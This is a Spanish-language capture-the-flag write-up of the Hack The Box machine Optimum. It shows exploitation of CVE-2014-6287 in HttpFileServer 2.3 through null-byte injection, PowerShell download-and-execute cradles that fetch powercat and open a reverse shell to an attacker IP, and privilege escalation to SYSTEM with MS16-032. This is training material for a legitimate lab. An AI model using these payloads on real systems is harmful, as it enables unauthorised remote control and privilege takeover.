Optimum - Easy - Hack The Box
Descripción
En este post realizaremos el write up de la máquina Optimum. Tocaremos los conceptos de null byte injection, scripting en python, powershell básica enfocada a pentesting, explotación de las siguientes vulnerabilidades: para la intrusión CVE-2014-6287 y en la escalada de privilegios CVE-2016-0099 bautizada como MS16-032.
Reconocimiento
Escaneo De Puertos
Escaneamos con nmap los puertos abiertos en la máquina Optimum:
1 | ❯ cat Puertos |
Escaneamos al objetivo con los scripts predeterminados de nmap, apuntando a los puertos abiertos en busca de más información.
1 | ❯ cat Objetivos |
Por lo que podemos observar tenemos un servidor web, con SO Windows, utilizando un software gratuito el cual sirve para compartir archivos llamado HttpFileServer y con la versión 2.3. Vamos a indagar un poco en busca de alguna vulnerabilidad.
Searchexploit
Podemos utilizar la herramienta searchexploit para encontrar vulnerabilidades.
1 | ❯ searchsploit HttpFileServer 2.3 |
Parece que tenemos un exploit que nos proporciona RCE, su CVE asignado es CVE-2014-6287.
Explotación
HttpFileServer Rce CVE-2014-6287
Vamos a observar como funciona el exploit.
1 | # Exploit Title: Rejetto Httpfileserver 2.3.X - Remote Command Execution (3) |
Viendo el código podemos deducir como se produce el ataque:
- 1 El parámetro search es vulnerable al null byte injection
%00,
permitiéndonos saltarse la sanitización del camposearch. - 2 Con
urllib.parse.quotenos encodeamos el payload en formato URL. - 3 Lanza la petición con
http.requesty se ejecuta el RCE.
Ejecucion Manual
1 - Nos creamos un pequeño script en python que nos url encode nuestro payload.
1 | ❯ cat url_encoding.py |
2- Ejecutamos el script y le pasamos el payload ping /n 1 10.10.16.5, este comando nos mandará un ping a nuestra máquina demostrando la existencia del RCE.
1 | ❯ python3 url_encoding.py |
3- Nos ponemos por escucha en la interfaz que recibirá el ping:
1 | ❯ sudo tcpdump -i tun0 |
4- Lanzamos la petición con el payload inyectado en la URL:
1 | curl -s -X GET "10.10.10.8/?search=%00ping%20-n%201%2010.10.16.5" > /dev/null |
5- Recibimos la conexión:
1 | ❯ sudo tcpdump -i tun0 |
¡Tenemos RCE!
Reverse Shell
Para conseguir la revshell vamos a hacer uso de la herramienta powercat.ps1 la cual cumple con la misma función que netcat, pero adaptada a powershell, os dejo por aquí su Github y el enlace a Hacktricks de donde sacaremos comandos útiles para powershell.
1 - Lo primero que tenemos que hacer es montarnos un servidor para compartirnos la herramienta, en este caso voy a utilizar python.
1 | ❯ ls |
2 - Al tener RCE vamos a descargarnos el archivo en la máquina víctima haciendo uso de la powershell y ejecutarlo para obtener la reverse shell:
- La ruta de la powershell que utilizaremos es la siguiente:
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe. - Usaremos la siguiente función para descargarnos un archivo en powershell:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.5:8000/powercat.ps1'). - Para obtener la revshell con powercat utilizamos la siguiente sintaxis:
powercat -c 10.10.16.5 -p 1234 -e cmd. - El payload total quedaría tal que así:
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.5:8000/powercat.ps1');powercat -c 10.10.16.5 -p 1234 -e cmd.
3 - Modificamos el script para que nos tramite la petición gracias a la librería requests:
1 | ❯ cat RCE_Optimum.py |
4 - Nos ponemos por escucha con nc utilizand rlwrap para obtener mayor interactividad con la consola:
1 | ❯ rlwrap nc -lvnp 1234 |
5 - Lanzamos el script y le pasamos el payload:
1 | ❯ python3 RCE_Optimum.py |
6 - Recibimos la shell:
1 | ❯ rlwrap nc -lvnp 1234 |
Escalada De Privilegios
Reconocimento Del Sistema
Con el comando systeminfo obtenemos la versión del SO:
1 | systeminfo |
Podemos ver que la versión del SO es Windows Server 2012 R2 Standard | 6.3.9600 N/A Build 9600. Googleando encontramos el siguiente exploit de powershell que nos permite escalar privilegios Exploit-DB.
Invoke-Ms16032.Ps1
Después de que el exploit fallara en varias ocasiones encontré un script el cual tiene la función de agregar un comando que se ejecutará como nt authority system. Invoke-MS16023.ps1.
1 - Nos creamos una reverse shell en powershell y le agregamos los parámetros correspondientes:
1 | ❯ cat revshell.ps1 |
2 - En Invoke-MS16023.ps1, agregamos al final del script el comando a utilizar siguiendo esta sintaxis Invoke-MS16-032 -Command "$cmd". Nuestro comando será el siguiente:
1 | Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.16.5:8000/revshell.ps1')"; |
3 - Compartimos los recursos revshell.ps1 e Invoke-MS16023.ps1 con un servidor de python para que la máquina víctima tenga acceso.
1 | ❯ python3 -m http.server --bind 10.10.16.5 |
4 - Nos ponemos por escucha en el puerto correspondiente.
1 | ❯ rlwrap nc -lvnp 2222 |
5 - Desde la máquina víctima hacemos una petición de descarga y ejecución de Invoke-MS16023.ps1 el cual lanzará otra petición a revshell.ps1 pero esta vez como nt authority system entablándonos la conexión.
1 | C:\Users\kostas\Desktop>powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.5:8000/Invoke-MS16032.ps1')" |
6 - Recibimos la conexión:
1 | ❯ rlwrap nc -lvnp 2222 |
¡Somos nt authority\system!
Flags
User.Txt
1 | C:\Users\kostas\Desktop> type user.txt.txt |
Root.Txt
1 | C:\Users\Administrator\Desktop>type root.txt |
Conocimientos Obtenidos
De la máquina Optimum podemos extraer los siguientes conocimientos:
- Reconocimiento de puertos con
nmap. - Búsqueda de vulnerabilidades con
searchexploit. - Null byte injection.
- Scripting de automatización en python.
- Uso de
powercat. - Powershell básica para pentesting.
Errores
Un posible error que podéis sufrir es el siguiente:
- Si usáis el exploit de Exploit-DB no llegaréis a conseguir la privesc.
Créditos Y Referencias
Autor de la máquina: ch4p, muchas gracias por la creación de Optimum aportando a la comunidad.





